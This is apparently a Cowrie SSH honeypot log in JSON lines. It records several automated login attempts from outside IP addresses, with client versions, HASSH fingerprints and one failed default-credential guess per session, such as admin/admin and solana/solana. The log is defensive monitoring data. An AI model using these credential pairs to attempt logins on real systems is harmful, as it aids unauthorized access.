{"eventid":"cowrie.session.connect","src_ip":"78.100.64.148","src_port":8005,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ffb56c629ee","protocol":"ssh","message":"New connection: 78.100.64.148:8005 (10.17.0.5:22) [session: 0ffb56c629ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:47:43.585209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:47:43.589328Z","src_ip":"78.100.64.148","session":"0ffb56c629ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:47:43.826708Z","src_ip":"78.100.64.148","session":"0ffb56c629ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"steam","password":"password","message":"login attempt [steam/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:47:44.810161Z","src_ip":"78.100.64.148","session":"0ffb56c629ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:47:46.049647Z","src_ip":"78.100.64.148","session":"0ffb56c629ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":58240,"dst_ip":"159.203.135.109","dst_port":22,"session":"c98ce60e8e4a","protocol":"ssh","message":"New connection: 195.178.110.218:58240 (159.203.135.109:22) [session: c98ce60e8e4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:48:03.917668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:48:03.922759Z","src_ip":"195.178.110.218","session":"c98ce60e8e4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:48:04.001955Z","src_ip":"195.178.110.218","session":"c98ce60e8e4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:48:04.243917Z","src_ip":"195.178.110.218","session":"c98ce60e8e4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:48:05.325448Z","src_ip":"195.178.110.218","session":"c98ce60e8e4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":56894,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a92345320f0","protocol":"ssh","message":"New connection: 45.148.10.121:56894 (159.203.135.109:22) [session: 9a92345320f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:48:22.823501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:48:22.827859Z","src_ip":"45.148.10.121","session":"9a92345320f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:48:22.906998Z","src_ip":"45.148.10.121","session":"9a92345320f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:48:23.145062Z","src_ip":"45.148.10.121","session":"9a92345320f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:48:24.225501Z","src_ip":"45.148.10.121","session":"9a92345320f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.240.121","src_port":53574,"dst_ip":"10.17.0.5","dst_port":22,"session":"86ecc185fe79","protocol":"ssh","message":"New connection: 5.75.240.121:53574 (10.17.0.5:22) [session: 86ecc185fe79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:49:10.912668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:49:10.917056Z","src_ip":"5.75.240.121","session":"86ecc185fe79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:49:11.007339Z","src_ip":"5.75.240.121","session":"86ecc185fe79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jude","password":"jude","message":"login attempt [jude/jude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:49:11.190176Z","src_ip":"5.75.240.121","session":"86ecc185fe79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:49:12.281856Z","src_ip":"5.75.240.121","session":"86ecc185fe79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.100.64.148","src_port":58748,"dst_ip":"10.17.0.5","dst_port":22,"session":"6576eb92432c","protocol":"ssh","message":"New connection: 78.100.64.148:58748 (10.17.0.5:22) [session: 6576eb92432c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:49:56.728195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:49:56.732182Z","src_ip":"78.100.64.148","session":"6576eb92432c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:49:56.986482Z","src_ip":"78.100.64.148","session":"6576eb92432c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leo","password":"leopassword","message":"login attempt [leo/leopassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:49:58.038574Z","src_ip":"78.100.64.148","session":"6576eb92432c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:49:59.296560Z","src_ip":"78.100.64.148","session":"6576eb92432c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":56878,"dst_ip":"159.203.135.109","dst_port":22,"session":"dac2608408c6","protocol":"ssh","message":"New connection: 195.178.110.218:56878 (159.203.135.109:22) [session: dac2608408c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:50:47.057217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:50:47.061577Z","src_ip":"195.178.110.218","session":"dac2608408c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:50:47.140982Z","src_ip":"195.178.110.218","session":"dac2608408c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubutnu","password":"ubuntu","message":"login attempt [ubutnu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:50:47.380067Z","src_ip":"195.178.110.218","session":"dac2608408c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:50:48.462186Z","src_ip":"195.178.110.218","session":"dac2608408c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.100.64.148","src_port":41040,"dst_ip":"10.17.0.5","dst_port":22,"session":"70afc5feb43d","protocol":"ssh","message":"New connection: 78.100.64.148:41040 (10.17.0.5:22) [session: 70afc5feb43d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:52:25.734551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:52:25.739117Z","src_ip":"78.100.64.148","session":"70afc5feb43d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:52:25.983201Z","src_ip":"78.100.64.148","session":"70afc5feb43d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marc","password":"123","message":"login attempt [marc/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:52:26.989665Z","src_ip":"78.100.64.148","session":"70afc5feb43d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:52:28.235687Z","src_ip":"78.100.64.148","session":"70afc5feb43d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":58700,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5b0849a3003","protocol":"ssh","message":"New connection: 14.225.2.125:58700 (10.17.0.5:22) [session: e5b0849a3003]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:52:43.171058Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:52:43.444036Z","src_ip":"14.225.2.125","session":"e5b0849a3003","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":58710,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f49c451c474","protocol":"ssh","message":"New connection: 14.225.2.125:58710 (10.17.0.5:22) [session: 9f49c451c474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:52:43.684648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:52:43.688865Z","src_ip":"14.225.2.125","session":"9f49c451c474","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:52:43.938967Z","src_ip":"14.225.2.125","session":"9f49c451c474","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zy","password":"zy","message":"login attempt [zy/zy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:52:44.689100Z","src_ip":"14.225.2.125","session":"9f49c451c474","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:52:45.940856Z","src_ip":"14.225.2.125","session":"9f49c451c474","protocol":"ssh"}
